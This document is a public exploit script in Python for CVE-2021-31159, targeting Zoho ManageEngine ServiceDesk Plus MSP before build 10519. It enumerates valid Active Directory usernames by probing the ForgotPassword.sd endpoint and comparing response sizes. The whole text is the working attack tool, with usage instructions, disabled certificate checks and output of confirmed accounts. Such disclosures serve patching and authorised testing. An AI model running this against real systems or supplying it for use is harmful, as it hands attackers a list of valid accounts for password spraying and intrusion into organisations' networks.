# Exploit Title: Zoho ManageEngine ServiceDesk Plus MSP - Active Directory User Enumeration (CVE-2021-31159)
# Date: 17/06/2021
# Exploit Author: Ricardo Ruiz (@ricardojoserf)
# CVE: CVE-2021-31159 (https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31159)
# Vendor Homepage: https://www.manageengine.com
# Vendor Confirmation: https://www.manageengine.com/products/service-desk-msp/readme.html#10519
# Version: Previous to build 10519
# Tested on: Zoho ManageEngine ServiceDesk Plus 9.4
# Example: python3 exploit.py -t http://example.com/ -d DOMAIN -u USERSFILE [-o OUTPUTFILE]
# Repository (for updates and fixing bugs): https://github.com/ricardojoserf/CVE-2021-31159

import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def get_args():
  parser = argparse.ArgumentParser()
  parser.add_argument('-d', '--domain', required=True, action='store', help='Domain to attack')
  parser.add_argument('-t', '--target', required=True, action='store', help='Target Url to attack')
  parser.add_argument('-u', '--usersfile', required=True, action='store', help='Users file')  
  parser.add_argument('-o', '--outputfile', required=False, default="listed_users.txt", action='store', help='Output file')
  my_args = parser.parse_args()
  return my_args


def main():
  args = get_args()
  url = args.target
  domain = args.domain
  usersfile = args.usersfile
  outputfile = args.outputfile

  s = requests.session()
  s.get(url)
  resp_incorrect = s.get(url+"/ForgotPassword.sd?userName="+"nonexistentuserforsure"+"&dname="+domain, verify = False)
  incorrect_size = len(resp_incorrect.content)
  print("Incorrect size: %s"%(incorrect_size))

  correct_users = []
  users = open(usersfile).read().splitlines()
  for u in users:
      resp = s.get(url+"/ForgotPassword.sd?userName="+u+"&dname="+domain, verify = False) 
      valid = (len(resp.content) != incorrect_size)
      if valid:
        correct_users.append(u)
      print("User: %s Response size: %s (correct: %s)"%(u, len(resp.content),str(valid)))

  print("\nCorrect users\n")
  with open(outputfile, 'w') as f:
    for user in correct_users:
      f.write("%s\n" % user)
      print("- %s"%(user))

  print("\nResults stored in %s\n"%(outputfile))


if __name__ == "__main__":
    main()